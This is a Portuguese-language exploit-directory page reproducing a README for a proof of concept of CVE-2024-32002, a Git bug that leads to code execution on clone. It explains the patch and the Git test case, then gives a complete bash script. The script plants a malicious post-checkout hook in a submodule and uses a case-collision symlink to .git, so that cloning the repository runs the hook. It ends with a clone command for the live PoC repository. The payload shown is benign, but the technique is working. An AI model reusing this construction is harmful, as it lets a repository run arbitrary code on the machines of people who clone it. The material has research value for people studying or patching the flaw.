Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
git_rce — CVE-2024-32002 POC | Kitploit
Ferramentas/GitHubGitHub/roronoawjd/git_rce
Análise de VulnerabilidadesExploraçãoPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubroronoawjd/git_rce

git_rce

CVE-2024-32002 POC

Ver Repositório
há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ataque de Execução Remota de Código via git clone (CVE-2024-32002)

Contribuidor

  • 이정우@Roronoawjd

Contexto

Esta vulnerabilidade é uma RCE (Execução Remota de Código) que ocorre ao clonar um repositório git que contém submódulos em sistemas de arquivos que não diferenciam maiúsculas de minúsculas, como Windows e MacOS. RCE é uma vulnerabilidade de execução remota de código que permite a um atacante executar comandos arbitrários no sistema alvo, sendo uma vulnerabilidade muito crítica. Os caminhos A/modules/x e a/modules/x são tratados como o mesmo caminho. Essa característica, combinada com links simbólicos, é usada para explorar a vulnerabilidade.

Informações da Vulnerabilidade

  • Este POC funciona apenas em sistemas Windows e Mac.
  • Se git config --global core.symlinks false estiver definido, o ataque não funciona.

Análise da Vulnerabilidade

Verificar patch da vulnerabilidade

builtin/submodule--helper.c

Função dir_contains_only_dotgit: verifica se o diretório contém apenas o arquivo .git ou se contém outros diretórios; se houver outros arquivos ou diretórios, retorna um erro. Função clone_submodule: verifica se o diretório do submódulo existe e está vazio antes de clonar.

t/t7406-submodule-update.sh

1. Configuração Global

root@kitploit:~
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
  • Este script define as opções de configuração do Git. Ativa o protocolo de arquivo do Git através de protocol.file.allow always.
  • Define core.symlinks true para permitir o uso de links simbólicos.
  • tell_tale_path é usado para verificar se o RCE funcionou corretamente.

2. Configuração do Hook

root@kitploit:~
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
  • Inicializa o repositório hook.
  • Cria um hook chamado post-checkout.
  • Commita o script do hook no repositório.

3. Configuração do Repositório Principal

root@kitploit:~
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
  • Armazena o caminho do hook.
  • Inicializa outro repositório chamado captain.
  • Adiciona o repositório hook como submódulo em A/modules/x e commita.
  • Cria um link simbólico chamado a apontando para .git.

4. Teste

root@kitploit:~
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • Verifica se o RCE funcionou.

Criação do POC

root@kitploit:~
#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

O Git possui hooks que permitem executar scripts automaticamente quando determinados eventos ocorrem. Eles estão localizados no diretório .git/hooks. post-checkout é um script executado após um checkout.

image

A sequência é a seguinte:

  1. No repositório clonado git_rce, é criado um link simbólico a apontando para .git.
  2. Ao clonar, o caminho do submódulo é interpretado como a/modules/x em vez de A/modules/x.
  3. Como a aponta para .git, é criado /modules/x dentro de .git, e então y/hooks/post-checkout é criado.
  4. Após o checkout bem-sucedido, git_rce/.git/modules/x/y/hooks/post-checkout é executado automaticamente, causando o RCE.

POC (Prova de Conceito)

⚠️Aviso: Não use esta vulnerabilidade de forma maliciosa!

root@kitploit:~
git clone --recursive https://github.com/Roronoawjd/git_rce.git

Nota: No Windows, é necessário abrir o cmd ou shell bash como administrador para executar.

Baixar ferramenta